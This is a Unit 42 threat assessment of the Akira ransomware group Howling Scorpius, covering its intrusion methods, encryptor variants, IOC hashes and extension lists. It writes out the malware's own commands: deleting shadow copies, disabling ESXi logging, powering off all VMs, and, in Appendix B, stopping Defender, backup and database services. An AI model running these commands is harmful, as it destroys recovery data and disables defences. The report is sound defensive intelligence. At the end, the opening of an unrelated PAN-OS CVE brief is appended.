Threat Assessment: Howling Scorpius (Akira Ransomware)

Posted on by Samantha Stallings

Executive Summary

Emerging in early 2023, the Howling Scorpius ransomware group is the entity behind the Akira ransomware-as-a-service (RaaS), which has consistently ranked in recent months among the top five most active ransomware groups. Its double extortion strategy significantly amplifies the threat it poses. Unit 42 researchers have been monitoring the Howling Scorpius ransomware group over the past year.

Howling Scorpius targets small to medium-sized businesses in North America, Europe and Australia, across various sectors. Affected industries include education, consulting, government, manufacturing, telecommunications, technology and pharmaceuticals.

Our research reveals that Howling Scorpius maintains and operates encryptors for Windows and Linux operating systems. We identified variants specifically designed for ESXi hosts. In addition, our findings have shown that this group is actively upgrading and enhancing its tool set, thus posing a greater risk for organizations.

Palo Alto Networks customers are better protected against Akira ransomware from the Howling Scorpius ransomware group through the following products and services:

The Unit 42 Incident Response team has responded to several Howling Scorpius ransomware incidents since the group first emerged in 2023. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Cybercrime, Ransomware

Howling Scorpius Overview

First observed in March 2023 [PDF], Akira is a RaaS group we track as Howling Scorpius. This group employs a double extortion strategy, exfiltrating critical data from a network before executing its encryption process. This double extortion tactic allows the group to leak stolen data even if victims recover their systems without paying, maximizing the pressure to comply.

Howling Scorpius operates a Tor-based leak site for Akira ransomware. The group uses the site to list victims and exfiltrate stolen data if they refuse to comply with ransom demands.

The Akira leak site has a retro-green look. Howling Scorpius also operates a separate Tor-based negotiation site, which victims can access using a dedicated password provided by the group. Figure 1 shows a screenshot of the Akira ransomware leak site.

Screenshot of a computer screen displaying a message from a hacker group named "AKIRA" on a dark-themed interface with green text. The message warns the user about a cyber incident and provides instructions for mitigating damage, and mentions commands available in the interface.
Figure 1. Screenshot of the Akira Ransomware leak site in a Tor browser, from November 2024.

The Akira ransomware leak site displays a text-based console with a list of commands. The leaks command returns a list of victims who did not pay and includes links to download .torrent files. Viewers can then use these .torrent files to download the released data for those victims who did not pay their ransom.

This console also includes a news command that lists all compromised companies that it says date back as far as April 2023. The site describes the news command as “upcoming data releases,” and the results end with the most recent victims.

The group primarily targets small to medium-sized businesses across various regions and industries.

Targeted Regions

While Howling Scorpius has targeted organizations globally since 2023, the U.S. has emerged as the most affected country, according to Akira leak site data. Figure 2 highlights the top 10 affected countries based on this leak site data from March 2023-October 2024.

Bar chart showing the count of Akira ransomware incidents by country. The United States has the highest count at 231, followed by Canada with 26, and the United Kingdom with 19. Other countries shown include Germany, Australia, Brazil, Italy, Sweden, Switzerland, and Austria with counts ranging from 12 to 4. Palo Alto Networks and Unit 42 lockup logo.
Figure 2. A column chart showing the countries impacted by Howling Scorpius from March 2023-October 2024.

Targeted Industries

Akira leak site data shows the group has impacted several industries, including manufacturing, professional and legal services, wholesale, retail and construction. Figure 3 shows the top 10 industries affected by this ransomware from March 2023-October 2024.

Bar chart showing the count of Akira ransomware incidents by industry. From highest to lowest: Manufacturing with 74, Financial & Legal Services with 39, Construction with 37, Wholesale and Retail with 36, High Technology with 36, Education with 26. Agriculture with 17. Media and Entertainment with 15, Transportation and Logistics with 14 and Telecoms with 12.
Figure 3. The distribution of the top 10 sectors affected by Howling Scorpius from March 2023-October 2024.

Technical Analysis of the Akira Ransomware Attack Lifecycle

Below is a technical analysis of Howling Scorpius operations mapped to the different stages of a cyberattack’s lifecycle.

Initial Access

Howling Scorpius affiliates employ various methods to gain initial access to organizations. These include exploiting vulnerable virtual private network (VPN) services that lack multi-factor authentication (MFA) using valid accounts, often purchased through initial access brokers on the dark web.

Affiliates also target external-facing services like Remote Desktop Protocol (RDP), and they conduct spear phishing campaigns.

Figure 4 shows an alert raised by Cortex XDR for an example of a remote service creation. This specific alert involves using a service component of PsExec named PSEXESVC.exe to run a process from a remote system.

A screenshot from Cortex XDR displaying a service start notification by a remote host, using PSExec.exe from the C:\WINDOWS directory, and statistics about its remote service activity listed under XDR Analytics BIOC.
Figure 4. Cortex XDR alert for remote service creation from an uncommon source.

The security community has documented Howling Scorpius exploiting vulnerabilities in Cisco products, such as CVE-2020-3259 and CVE-2023-20269.

Credentials Access

Local Credential Access Techniques

Howling Scorpius affiliates employ various credential access techniques to extract credentials for privilege escalation. Mimikatz and LaZagne are their primary tools.

Affiliates also often create a MiniDump of the LSASS process memory leveraging comsvcs.dll. Figure 5 shows an example of Cortex XDR detecting an example of comsvcs.dll used for this type of memory dump.

Alert icon with an "A" inside a pink triangle, indicating a security notification about a memory dump performed using comsvcs.dll on Lsass.exe, commonly associated with unauthorized access attempts. Below the icon is the file name "rundll32.exe" and a command line path for further technical details.
Figure 5. Cortex XDR detection alert of comsvcs.dll MiniDump of LSASS.

Kereberoasting

Howling Scorpius affiliates employ the Kerberoasting attack to achieve control over service accounts and exploit credentials stored in memory.

Extracting Credentials for Domain Control

The group’s affiliates focus on extracting credentials from the Active Directory database to pursue comprehensive domain control. They copy the SYSTEM registry hive and NTDS.dit file from the domain controller (DC) to obtain a complete listing of user accounts and their corresponding domain password hashes.

Exploiting Compromised vCenter Instances

In cases where affiliates compromise a vCenter instance, they will perform the following activities:

  • Shutting down the DC's virtual machine (VM)
  • Copying the DC's Virtual Machine Disk (VMDK) files to another VM they created beforehand
  • Extracting the NTDT.dit and SYSTEM registry hive files (as reported by Rewterz)

Persistence

Howling Scorpius affiliates created new domain accounts to establish persistence. These accounts give these affiliates another form of access that does not require them to deploy tools or malware on the targeted systems. In addition, CISA reported [PDF] that the affiliates created new administrative domain accounts named itadm.

Discovery and Lateral Movement

Howling Scorpius affiliates' lateral movement within compromised networks primarily involves exploiting remote services such as Remote Desktop Procol (RDP) and Server Message Block (SMB). The group also employs remote service creation and Windows Management Instrumentation (WMI) to further its reach.

These affiliates use network scanning tools like NetScan and Advanced IP Scanner to map the network and identify potential critical assets in the targeted organization for lateral movement. They also execute PowerShell and Windows Net Commands to query Active Directory for information on additional users and administrators.

Defense Evasion

Bring Your Own Driver

Howling Scorpius affiliates use tools that abuse the Zemana antimalware driver to terminate antimalware-related processes. Figure 6 below shows information from an alert raised in Cortex XDR for attempting to create the malicious Zemana driver.

Screenshot displaying a security alert from the Cortex XDR Agent. The alert is categorized as 'Behavioral Threat Protection' and details a 'Malicious driver creation attempt.'
Figure 6. Cortex XDR alert for the attempt to use the Zemana antimalware driver.

Anti Virus Disablement

Affiliates have also tried to disable Windows Defender Real-Time Protection using PowerShell, and they tried to uninstall the EDR agents installed on infected systems.

Bring Your Own VM

Affiliates sometimes create their own VMs. Within these VMs, they disable security tools. They then mount the hypervisor host's storage drives onto the VM, shutting down any processes using those files to unlock running VM files. After successfully mounting the drives and unlocking all targeted files, they execute the ransomware within the new VM (as reported by CyberCX), bypassing the host's security tools.

Exfiltration

Howling Scorpius affiliates usually exfiltrate data from compromised hosts using WinRAR and a combination of WinSCP, RClone and FileZilla, through the File Transfer Protocol (FTP). Below is an example of a data exfiltration attempt we observed:

Akira Ransomware Encryptors

This section details the different encryptors for Akira ransomware that Howling Scorpius uses for Windows and Linux operating systems.

Ransom Note

Upon successful encryption, Akira ransomware encryptors create a ransom note named akira_readme.txt that provides victims instructions for how to interact with the group. This file includes links to both the leak site and the negotiation site.

The file also contains a unique code that victims must enter on the negotiation site to facilitate communication with the attackers and potential ransom discussions. Figure 7 shows an example of the akira_readme.txt file.

Screenshot of a cyberattack ransom demand note displayed on a computer screen, featuring a block of text with various instructions and threats, including a link and an unique code for further actions. Two red boxes highlight the leak site address and then the negotiation site and the end user's unique code, with redactions as necessary.
Figure 7. An example of the akira_readme.txt file content.

Windows Variant

Execution

Upon execution, the Windows variant of the Akira ransomware encryptor will attempt to delete shadow copies using the following PowerShell command:

  • powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject"

Command-Line Arguments

The Windows variant of the Akira ransomware encryptor uses the following command-line arguments:

  • -p\--encryption_path – Contains the root directory of the encryption process
  • -s\--share_file – Contains the targeted network drive path
  • -n\--encryption_percent – Controls the amount of data to be encrypted within each file
  • --fork – Creates a child process for the encryption process
  • -l – Writes the list of drives into the log file
  • -localonly – Prevents the encryption of remote drives
  • -e/–exclude – Contains files to exclude from the encryption process

Figure 8 below shows the Windows encryptor for the Akira ransomware detected and prevented by Cortex XDR.

Image showing a security alert notification for "Suspicious File Modification" in Cortex XDR. The alert includes a stylized icon of a shield with the Cortex logo in a triangle at the top, and identifiers below such as source: "XDR Agent" and module: "Anti-Ransomware Protection" related to a file named "akira.exe".
Figure 8. Windows encryptor for Akira ransomware detected by Cortex XDR.

Encryption

Akira ransomware’s Windows variant uses a hybrid approach to encrypt data. It encrypts the content of the files using the ChaCha20 algorithm.

The threat then encrypts the ChaCha20 key using a hard-coded RSA public key. The encryptor supports full and partial encryption, controlled through the aforementioned command-line parameter.

Avast published a decryptor in June 2023 exploiting a vulnerability in Akira's encryption scheme. However, CyberCX found a sample in VirusTotal that revealed that Howling Scorpius had patched this vulnerability within three days of its public disclosure.

In February 2024, we identified updates in the Howling Scorpius codebase. These updates included implementing support for the KCipher2 algorithm alongside ChaCha20. Encrypted files would use the .akira extension.

The list of the targeted file extensions and excluded directories the Howling Scorpius Windows encryptor uses can be found in Appendix A.

The Megazord Variant

In August 2023, a new strain of ransomware called Megazord appeared. This strain, written in Rust, has a ransom note with content similar to that of Akira ransomware and points to the same negotiation site. This indicates Howling Scorpius is also the same group behind Megazord.

Besides being written in Rust, Megazord variants differ from Akira encryptors by the following characteristics:

  • Using a different file extension for encrypted files – .powerranges
  • Using a different name for the ransom note – powerranges.txt

In addition, Megazord encryptors execute several commands to terminate and stop a list of services and processes that could affect the encryption process. For the complete list of commands executed by Megazord encryptors, please view Appendix B.

The Megazord strain has a new layer of protection, requiring a password as an execution condition (defined by the –id command-line argument). Figure 9 demonstrates how Cortex XDR detects and prevents Megazord.

Alert notification from Cortex XDR Agent stating 'Suspicious File Modification' with the description 'Suspicious file modification detected.' The anti-ransomware protection module identifies the file named 'megazord.exe' as suspicious. The image features a stylized warning icon with a Cortex logo on a shield inside a triangle above a circular symbol.
Figure 9. Megazord encryptor detected by Cortex XDR.

Updated Version

While looking for additional Megazord encryptors, we came across two samples that were compiled in March 2024, which had two new command-line arguments affecting the execution flow of the encryptor. The command-line argument –proc allows the attackers to turn off the termination of processes and services, and the –dirs command-line argument allows the attackers to ignore blocklisted directories.

Figure 10 shows the updated help menu from a Megazord sample.

Screenshot of a command-line interface tool named 'megazord' displaying its usage, options, and version number. The options include various settings like path starting, thread number, error logging, process percent, and directory skipping.
Figure 10. Megazord variant help menu.

The Possibility of Different Operators Sharing the Megazord Ransomware

Another unique sample we found differs primarily by its ransom note. This new ransom note raises the possibility that Megazord might not be exclusive to Howling Scorpius, although we cannot confirm this yet.

The new ransom note contains distinct language and a different means of communicating via Telegram, which hints at the involvement of a different threat actor. Figure 11 shows the new ransom note.

The image displays a text of a ransomware threat message stating that the sender has paralyzed the recipient's systems and offers two options: contacting authorities or resolving the problem privately. The message implies possession of the recipient's data and confidentiality unless contact is not established. Some of the information is redacted.
Figure 11. The new Megazord ransom note.

Linux/ESXi Variant

Based on the internal strings and naming conventions we observed in the Linux/ESXi variants of Akira ransomware, we assess that these samples were initially designed to run on ESXi systems. Some samples we encountered executed ESXCLI commands, strengthening our assessment. Figure 12 shows an example of an internal string found in one of the Linux/ESXi variants.

A screenshot of a line of code. A string in white and green characters on a black background.
Figure 12. An example of an internal string of Linux/ESXi samples.

Execution

In some of the Akira Linux variants we have encountered, attackers changed the syslog logs directory to /tmp. It’s likely they did this to disable logging and disable the Core Dump file using the following ESXCLI commands:

  • /bin/sh -c 'esxcli system syslog config set --logdir=/tmp'
  • /bin/sh -c 'esxcli system syslog reload'
  • /bin/sh -c 'esxcli system coredump file set --unconfigure'

Command-Line Arguments

The Linux/ESXi variant of the Akira ransomware encryptor uses the following command-line arguments:

  • -p\--encryption_path – Specifies the root directory of the encryption process
  • -s\--share_file – Specifies the targeted network drive path
  • -n\--encryption_percent – Controls the amount of data to be encrypted within each file
  • --fork – Creates a child process for the encryption process

Figure 13 demonstrates the detection and prevention of the Linux/ESXi variant by Cortex XDR.

Alert notification in Cortex XDR from WildFire Malware indicating a suspicious executable detected named "akira.elf". The alert includes an icon of Cortex logo on a shield inside a warning triangle and a magnifying glass symbol.
Figure 13. Howling Scorpius Linux/ESXi encryptor detected by Cortex XDR.

Encryption

Akira ransomware's Linux/ESXi variant uses a hybrid encryption approach to lock data, the same as its Windows variant. The Linux/ESXi variant encrypts the symmetric key used to encrypt the content of the targeted files with an embedded RSA public key.

This variant uses several symmetric encryption algorithms for the targeted file encryption, such as AES, CAMELLIA, DES and IDEA. Like the Windows version, this variant supports full and partial encryption controlled through the aforementioned command-line parameters.

The list of targeted file extensions and excluded directories by Akira ransomware's Linux/ESXi encryptor can be found in Appendix C.

Akira v2

In April 2024, CISA's #StopRansomware efforts [PDF] revealed a new variant of the Akira ransomware's Linux/ESXi encryptor called Akira_v2. This Rust-based variant introduces a new command-line argument set and expanded capabilities.

Like Megazord, Akira_v2 also adds a new layer of protection by requesting a password using the –id argument as a run condition. In addition, by using the --vmonly argument, Akira_v2 adds the ability to encrypt VM files only.

Figure 14 shows the help menu unique to this variant.

Screenshot of a computer terminal displaying command line options for a program named 'akira_v2' with various parameters and their descriptions.
Figure 14. Akira_v2 help menu.

This variant targets the following file extensions:

  • .vmdk
  • .vmem
  • .vmx
  • .log
  • .vswp
  • .vmsd
  • .vmsn

By using the –stopvm argument, the variant adds the ability to turn off running VMs. It does so by executing the following command:

  • vim-cmd vmsvc/getallvms | tail -n +2 | awk '{system("vim-cmd vmsvc/power.off " $1)}'.

Also, Akira_v2 uses yet another ransom note file, named akiranew.txt, which still points to the same negotiation site used for the original version of Akira ransomware. Akira_v2 also changes the extension added to encrypted files to .akiranew.

Figure 15 demonstrates how Cortex XDR detects and prevents the Akira_v2 variant.

Screen displaying a security alert in Cortex XDR from WildFire Malware detection service, highlighting a suspicious executable named 'akira_v2.elf'.
Figure 15. Howling Scorpius’s Akira_v2 encryptor detected by Cortex XDR.

Conclusion

This threat assessment demonstrates how Akira ransomware operates, solidifying Howling Scorpius' position among the top five most active ransomware groups despite its relatively recent emergence. The group’s developers and affiliates appear to be actively developing new strains and capabilities, as well as making ongoing changes to the toolkit, which contributes to the persistence and prevalence of the ransomware.

We showed how the group used different ransomware variants in tandem, its infection vectors and activity within an infected organization. This group's recent focus on virtualization hosts to affect more endpoints and circumvent security measures means organizations should take the threat seriously and prepare against it.

Palo Alto Networks Protection and Mitigations

For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:

  • Advanced WildFire cloud-delivered malware analysis service accurately identifies known samples as malicious.
  • Cortex XDR and XSIAM are designed to:
    • Prevent the execution of known malware and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.
      • Anti-Ransomware Module: It can target encryption-based activities associated with ransomware. It can analyze and halt ransomware activity before data loss occurs, providing proactive protection against the threat discussed in this article.
    • Detect post-exploit activity, including credential-based attacks, with behavioral analytics through Cortex XDR Pro and XSIAM.
  • Cortex Xpanse can detect internet-exposed RDP servers and VPN services that have been identified as common initial access targets for this group. XSIAM customers with the ASM module also have access to these detection capabilities.

If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and disrupt malicious cyber actors systematically. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

SHA256 hashes for examples of Akira ransomware's Windows variant

  • 08207409e1d789aea68419b04354184490ce46339be071c6c185c75ab9d08cba
  • 2727c73f3069457e9ad2197b3cda25aec864a2ab8da3c2790264d06e13d45c3d
  • 2db4a15475f382e34875b37d7b27c3935c7567622141bc203fde7fe602bc8643
  • 56f1014eb2d145c957f9bc0843f4e506735d7821e16355bcfbb6150b1b5f39db
  • 58e9cd249d947f829a6021cf6ab16c2ca8e83317dbe07a294e2035bb904d0cf3
  • 678ec8734367c7547794a604cc65e74a0f42320d85a6dce20c214e3b4536bb33
  • 1ba1ccfacffbb6be9480380f5535a30d3eee1dd7787f3c649ebf8ea2a6a5de51
  • 9f873c29a38dd265decb6517a2a1f3b5d4f90ccd42eb61039086ea0b5e74827e
  • 1b6af2fbbc636180dd7bae825486ccc45e42aefbb304d5f83fafca4d637c13cc
  • cc970bd2673e46c7e0df5430ab617bc2a9214b4d5c2c44252af681a08ff526a8

SHA256 hashes for examples of Megazord

  • 131da83b521f610819141d5c740313ce46578374abb22ef504a7593955a65f07
  • 28cea00267fa30fb63e80a3c3b193bd9cd2a3d46dd9ae6cede5f932ac15c7e2e
  • 2f629395fdfa11e713ea8bf11d40f6f240acf2f5fcf9a2ac50b6f7fbc7521c83
  • 68d5944d0419bd123add4e628c985f9cbe5362ee19597773baea565bff1a6f1a
  • 7f731cc11f8e4d249142e99a44b9da7a48505ce32c4ee4881041beeddb3760be
  • 8816caf03438cd45d7559961bf36a26f26464bab7a6339ce655b7fbad68bb439
  • 95477703e789e6182096a09bc98853e0a70b680a4f19fa2bf86cbb9280e8ec5a
  • 9585af44c3ff8fd921c713680b0c2b3bbc9d56add848ed62164f7c9b9f23d065
  • 9f393516edf6b8e011df6ee991758480c5b99a0efbfd68347786061f0e04426c
  • a6b0847cf31ccc3f76538333498f8fef79d444a9d4ecfca0592861cf731ae6cb
  • b55fbe9358dd4b5825ce459e84cd0823ecdf7b64550fe1af968306047b7de5c9
  • c0c0b2306d31e8962973a22e50b18dfde852c6ddf99baf849e3384ed9f07a0d6
  • c9c94ac5e1991a7db42c7973e328fceeb6f163d9f644031bdfd4123c7b3898b0
  • dfe6fddc67bdc93b9947430b966da2877fda094edf3e21e6f0ba98a84bc53198
  • e3fa93dad8fb8c3a6d9b35d02ce97c22035b409e0efc9f04372f4c1d6280a481
  • 28cea00267fa30fb63e80a3c3b193bd9cd2a3d46dd9ae6cede5f932ac15c7e2e
  • dfe6fddc67bdc93b9947430b966da2877fda094edf3e21e6f0ba98a84bc53198
  • 0c0e0f9b09b80d87ebc88e2870907b6cacb4cd7703584baf8f2be1fd9438696d

SHA256 hashes for examples of Akira ransomware's Linux/ESXi variant

  • 1d3b5c650533d13c81e325972a912e3ff8776e36e18bca966dae50735f8ab296
  • 300bc2769c6d62ba9d228cc45e126cd458e1a23fd23092da258053afd82f2755
  • 3805f299d33ef43d17a5a1040149f0e5e2d5db57ec6f03c5687ac23db1f77a30
  • 3999a25f8f0fd8252aa9250fa9bd70aae202f181812cc6c230c8ea2842340f18
  • 3dc7d4023c7380ed740ac5ac7d82a4ba6f587f430b2b7b66f1d34a44f89c39cb
  • 43c5a487329f5d6b4a6d02e2f8ef62744b850312c5cb87c0a414f3830767be72
  • 6005dcbe15d60293c556f05e98ed9a46d398a82e5ca4d00c91ebec68a209ea84
  • 74f497088b49b745e6377b32ed5d9dfaef3c84c7c0bb50fabf30363ad2e0bfb1
  • 7ca3e6b4dd4d98506faa92ab590108cacb2945b8c27dcf1ac75b0df4a206493a
  • 82e25f32e01f1898ccce2b6d5292245759733c22a104443a8a9c7db1ebf05c57
  • 8e9a33809b9062c5033928f82e8adacbef6cd7b40e73da9fcf13ec2493b4544c
  • bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a
  • 5f72bdb14e138f10c1658248fdaf10db2fd1e812240966e009bbcf8d463e099c
  • 67f82a54ea49c6f286681d179cc7afc8b41b6b34284cc17bdd52916cc3656160
  • 6a5e547756ef1256f1eb9df0249245c35461affd009be8f046559bc007cafcf2
  • e702a572b514984deacaa54408059c6eac28e46111cb6f0f4190a3a6a72dd41d

SHA256 hashes for examples of Akira_v2

  • 0ee1d284ed663073872012c7bde7fac5ca1121403f1a5d2d5411317df282796c
  • 3298d203c2acb68c474e5fdad8379181890b4403d6491c523c13730129be3f75

Additional Resources

Appendices

Appendix A: Akira Ransomware Windows Variant: Targeted File Extensions

Howling Scorpius Windows encryptors will avoid encrypting files with the following extensions:

  • .exe
  • .dll
  • .lnk
  • .sys
  • .msi
  • .akira

Additionally, the Windows encryptor will avoid the following directories:

  • tmp
  • thumb
  • winnt
  • $Recycle.Bin
  • temp
  • Boot
  • Windows
  • $RECYCLE.BIN
  • System Volume Information
  • Trend Micro
  • ProgramData

Akira ransomware's Windows encryptors target the following extensions:

Letter Range Extension
A-L .4dd, .4dl, .abcddb, .abs, .abx, .accdb, .accdc, .accde, .accdr, .accdt, .accdw, .accft, .adb, .ade, .adf, .adn, .adp, .alf, .arc, .ask, .avdx, .avhd, .bdf, .bin, .btr, .cat, .cdb, .ckp, .cma, .cpd, .dacpac, .dad, .dadiagrams, .daschema, .db, .db-shm, .db-wal, .db2, .db3, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .ddl, .dlis, .dp1, .dqy, .dsk, .dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb, .fic, .fm5, .fmp, .fmp12, .fmpsl, .fol, .fp3, .fp4, .fp5, .fp7, .fpt, .frm, .gdb, .grdb, .gwi, .hdb, .his, .hjt, .ib, .icg, .icr, .idb, .ihx, .iso, .itdb, .itw, .jet, .jtx, .kdb, .kexi, .kexic, .kexis, .lgc, .lut, .lwx
M-Z .maf, .maq, .mar, .mas, .mav, .maw, .mdb, .mdf, .mdn, .mdt, .mpd, .mrg, .mud, .mwb, .myd, .ndf, .nnt, .nrmlib, .ns2, .ns3, .ns4, .nsf, .nv, .nv2, .nvram, .nwdb, .nyf, .odb, .oqy, .ora, .orx, .owc, .p96, .p97, .pan, .pdb, .pdm, .pnz, .pvm, .qcow2, .qry, .qvd, .raw, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdat, .sbf, .scx, .sdb, .sdc, .sdf, .sis, .spq, .sql, .sqlite, .sqlite3, .sqlitedb, .subvol, .te, .temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .v12, .vdi, .vhd, .vhdx, .vis, .vmcx, .vmdk, .vmem, .vmrs, .vmsd, .vmsn, .vmx, .vpd, .vsv, .vvv, .wdb, .wmdb, .wrk, .xdb, .xld, .xmlff

Appendix B: Megazord Termination Commands

  • cmd.exe /c net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
  • cmd.exe /c net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
  • cmd.exe /c net stop "Simply Accounting Database Connection Manager"
  • cmd.exe /c net stop IISADMIN
  • cmd.exe /c net stop MSExchangeADTopology
  • cmd.exe /c net stop MSExchangeFBA
  • cmd.exe /c net stop MSExchangeIS
  • cmd.exe /c net stop MSExchangeSA
  • cmd.exe /c net stop MSSQL$ISARS
  • cmd.exe /c net stop MSSQL$MSFW
  • cmd.exe /c net stop MSSQLServerADHelper100
  • cmd.exe /c net stop MSSQLServerADHelper100
  • cmd.exe /c net stop QBCFMonitorService
  • cmd.exe /c net stop QBPOSDBServiceV12
  • cmd.exe /c net stop QBVSS
  • cmd.exe /c net stop QuickBooksDB1
  • cmd.exe /c net stop QuickBooksDB10
  • cmd.exe /c net stop QuickBooksDB11
  • cmd.exe /c net stop QuickBooksDB12
  • cmd.exe /c net stop QuickBooksDB13
  • cmd.exe /c net stop QuickBooksDB14
  • cmd.exe /c net stop QuickBooksDB15
  • cmd.exe /c net stop QuickBooksDB16
  • cmd.exe /c net stop QuickBooksDB17
  • cmd.exe /c net stop QuickBooksDB18
  • cmd.exe /c net stop QuickBooksDB19
  • cmd.exe /c net stop QuickBooksDB2
  • cmd.exe /c net stop QuickBooksDB20
  • cmd.exe /c net stop QuickBooksDB21
  • cmd.exe /c net stop QuickBooksDB22
  • cmd.exe /c net stop QuickBooksDB23
  • cmd.exe /c net stop QuickBooksDB24
  • cmd.exe /c net stop QuickBooksDB25
  • cmd.exe /c net stop QuickBooksDB3
  • cmd.exe /c net stop QuickBooksDB4
  • cmd.exe /c net stop QuickBooksDB5
  • cmd.exe /c net stop QuickBooksDB6
  • cmd.exe /c net stop QuickBooksDB7
  • cmd.exe /c net stop QuickBooksDB8
  • cmd.exe /c net stop QuickBooksDB9
  • cmd.exe /c net stop ReportServer$ISARS
  • cmd.exe /c net stop SPAdminV4
  • cmd.exe /c net stop SPSearch4
  • cmd.exe /c net stop SPTimerV4
  • cmd.exe /c net stop SPTraceV4
  • cmd.exe /c net stop SPUserCodeV4
  • cmd.exe /c net stop SPWriterV4
  • cmd.exe /c net stop SQLAgent$ISARS
  • cmd.exe /c net stop SQLAgent$MSFW
  • cmd.exe /c net stop SQLBrowser
  • cmd.exe /c net stop SQLWriter
  • cmd.exe /c net stop ShadowProtectSvc
  • cmd.exe /c net stop WinDefend
  • cmd.exe /c net stop firebirdguardiandefaultinstance
  • cmd.exe /c net stop ibmiasrw
  • cmd.exe /c net stop mr2kserv
  • cmd.exe /c powershell -command "Get-VM | Stop-VM -Force"
  • cmd.exe /c taskkill /f /im CNTAoSMgr*
  • cmd.exe /c taskkill /f /im IBM*
  • cmd.exe /c taskkill /f /im Notifier*
  • cmd.exe /c taskkill /f /im Ntrtscan*
  • cmd.exe /c taskkill /f /im TmListen*
  • cmd.exe /c taskkill /f /im bes10*
  • cmd.exe /c taskkill /f /im black*
  • cmd.exe /c taskkill /f /im chrome*
  • cmd.exe /c taskkill /f /im copy*
  • cmd.exe /c taskkill /f /im ds_monitor*
  • cmd.exe /c taskkill /f /im dsa*
  • cmd.exe /c taskkill /f /im excel*
  • cmd.exe /c taskkill /f /im firefox*
  • cmd.exe /c taskkill /f /im iVPAgent*
  • cmd.exe /c taskkill /f /im iexplore*
  • cmd.exe /c taskkill /f /im mysql*
  • cmd.exe /c taskkill /f /im outlook*
  • cmd.exe /c taskkill /f /im postg*
  • cmd.exe /c taskkill /f /im putty*
  • cmd.exe /c taskkill /f /im robo*
  • cmd.exe /c taskkill /f /im sage*
  • cmd.exe /c taskkill /f /im sql*
  • cmd.exe /c taskkill /f /im ssh*
  • cmd.exe /c taskkill /f /im store.exe
  • cmd.exe /c taskkill /f /im tasklist*
  • cmd.exe /c taskkill /f /im taskmgr*
  • cmd.exe /c taskkill /f /im vee*
  • cmd.exe /c taskkill /f /im veeam*
  • cmd.exe /c taskkill /f /im wrsa*
  • cmd.exe /c taskkill /f /im wrsa.exe

Appendix C: Akira Ransomware Linux\ESXi Variant: Targeted File Extensions

Akira ransomware's Linux\ESXi encryptors will avoid encrypting files with the following extensions, the same as the Windows encryptors:

  • .exe
  • .dll
  • .lnk
  • .sys
  • .msi
  • .akira

Additionally, the Linux\ESXi encryptor will avoid the following directories:

  • tmp
  • thumb
  • winnt
  • $Recycle.Bin
  • temp
  • Boot
  • Windows
  • $RECYCLE.BIN
  • System Volume Information
  • Trend Micro
  • ProgramData

Akira ransomware's Linux\ESXi encryptors target the following extensions:

Letter Range Extension
A-L .4dd, .abcddb, .abs, .abx, .accdb, .accdc, .accde, .accdr, .accdt, .accdw, .accft, .adb, .ade, .adf, .adn, .adp, .alf, .arc, .ask, .avdx, .avhd, .bdf, .bin, .btr, .cat, .cdb, .ckp, .cma, .cpd, .dacpac, .dad, .dadiagrams, .daschema, .db-shm, .db-wa, .db2, .db3, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .dlis, .dp1, .dqy, .dsk, .dsn, .dtsx, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb, .fic, .fm5, .fmp, .fmp12, .fmps, .fp3, .fp4, .fp5, .fp7, .fpt, .frm, .gdb, .grdb, .gwi, .hdb, .his, .hjt, .icg, .icr, .idb, .ihx, .iso, .itdb, .itw, .jet, .jtx, .kdb, .kexi, .kexic, .kexis, .lgc, .lut, .lwx
M-Z .maf, .maq, .mar, .mas, .mav, .maw, .mdb, .mdf, .mdn, .mdt, .mpd, .mrg, .mud, .mwb, .myd, .ndf, .nnt, .nrmlib, .ns2, .ns3, .ns4, .nsf, .nv2, .nvram, .nwdb, .nyf, .odb, .oqy, .ora, .orx, .owc, .p96, .p97, .pan, .pdb, .pdm, .pnz, .pvm, .qcow2, .qry, .qvd, .raw, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdat, .sbf, .scx, .sdb, .sdc, .sdf, .sis, .spq, .sqlite, .sqlite3, .sqlitedb, .subvo, .temx, .tmd, .tps, .trc, .trm, .udb, .usr, .v12, .vdi, .vhd, .vhdx, .vis, .vmcx, .vmdk, .vmem, .vmrs, .vmsd, .vmsn, .vmx, .vpd, .vsv, .vvv, .wdb, .wmdb, .wrk, .xdb, .xld, .xmlff

Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 and CVE-2024-9474 (Updated Nov. 22)

Posted on by Unit 42

Executive Summary

Palo Alto Networks and Unit 42 continue to track exploitation activity related to CVE-2024-0012 and CVE-2024-9474. We are working with external researchers, partners and customers to share information transparently and rapidly.

Fixes for both vulnerabilities are available. Please refer to the Palo Alto Networks Security Advisories (CVE-2024-0012, CVE-2024-9474) for additional details about recommended solutions and affected products.

An authentication bypass in Palo Alto Networks PAN-OS software (CVE-2024-0012) enables an unauthenticated attacker with network access to the management interface to gain PAN-OS administrator privileges. This could allow an adversary to perform administrative actions, tamper with the configuration or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474.

The risk of these issues is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended best practice deployment guidelines.

Palo Alto Networks has actively monitored and worked with customers to identify and further minimize the very small number of PAN-OS devices with management web interfaces exposed to the internet or other untrusted networks.

